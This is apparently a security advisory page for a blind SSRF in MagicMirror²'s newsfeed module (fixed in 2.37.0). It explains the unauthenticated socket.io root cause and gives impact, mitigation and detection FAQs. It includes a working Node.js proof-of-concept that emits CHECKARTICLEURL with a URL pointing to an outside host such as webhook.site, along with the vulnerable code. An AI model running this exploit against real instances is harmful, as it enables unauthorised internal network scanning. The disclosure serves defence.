GHSA-998g-7v5w-cr7g: SSRF

Published Aug 18, 2026
·
Updated

Vulnerability — Blind SSRF via CHECKARTICLEURL (MagicMirror² newsfeed)

Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/nodehelper.js of MagicMirror², socket.io namespace /newsfeed.

---

Identification

| Field | Value | |-------|-------| | PoC file | exploit-ssrf-newsfeed.js | | Endpoint | socket.io namespace /newsfeed, notification CHECKARTICLEURL | | Precondition | reach the mirror's HTTP port (no authentication required) |

---

Description

The checkArticleUrl() function in newsfeed/nodehelper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLEURLSTATUS { url, canFrame }.

This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.

---

Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

js const io = new Server(server, { cors: { origin: /.$/, credentials: true } });

The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

---

Exploit (exploit-ssrf-newsfeed.js)

js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URLTOHIT = process.env.SSRFURL || "https://webhook.site"; const socket = io(${TARGET}/newsfeed, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => { if (event === "ARTICLEURLSTATUS") { console.log([+] ARTICLEURLSTATUS: ${JSON.stringify(payload)}); console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF)."); process.exit(0); } }); socket.on("connect", () => { console.log([] Connected to ${TARGET}/newsfeed (no auth). CHECKARTICLEURL -> ${URLTOHIT}); socket.emit("CHECKARTICLEURL", { url: URLTOHIT }); }); setTimeout(() => { console.log("[] timeout"); process.exit(1); }, 12000);

---

Vulnerable target code (pattern)

js async checkArticleUrl(url) { const res = await fetch(url, { method: "HEAD" }); const canFrame = !res.headers.get("x-frame-options") && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || ""); this.sendSocketNotification("ARTICLEURLSTATUS", { url, canFrame }); }

---

Impact

- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive. - Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.

---

References - CWE-918: Server-Side Request Forgery (SSRF) - CWE-306: Missing Authentication for Critical Function - CWE-942: Permissive Cross-domain Policy with Untrusted Domains - OWASP: SSRF Prevention Cheat Sheet

This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

Affected Software

1 affected componentFixes available
npm/magicmirror<2.37.0
2.37.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/magicmirror to a version that resolves this vulnerability.

    Fixed in 2.37.0

Event History

Aug 18, 2026
Advisory Published
via GitHub·05:26 PM
Data Sourced
via GitHub·05:26 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who can realistically exploit this issue?

Instances whose HTTP port is reachable by an attacker are exposed. The socket.io /newsfeed namespace accepts the CHECK_ARTICLE_URL notification without authentication.

2

What access does an attacker need to exploit it?

An attacker needs network access to the mirror's HTTP port and can then submit an arbitrary URL through CHECK_ARTICLE_URL. The server performs a HEAD request to that URL, allowing probing of internal hosts and ports through timing and status behavior.

3

What can be done if patching is not immediately possible?

Restrict access to the mirror's HTTP port so untrusted users cannot reach the /newsfeed socket.io namespace. This removes the stated unauthenticated network precondition until a fix can be applied.

4

How can I investigate whether this has already been exploited?

Review logs on internal services for unexpected HEAD requests originating from the MagicMirror host. The proof of exploitation is expected on the target service side, because the returned canFrame value provides limited evidence by itself.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203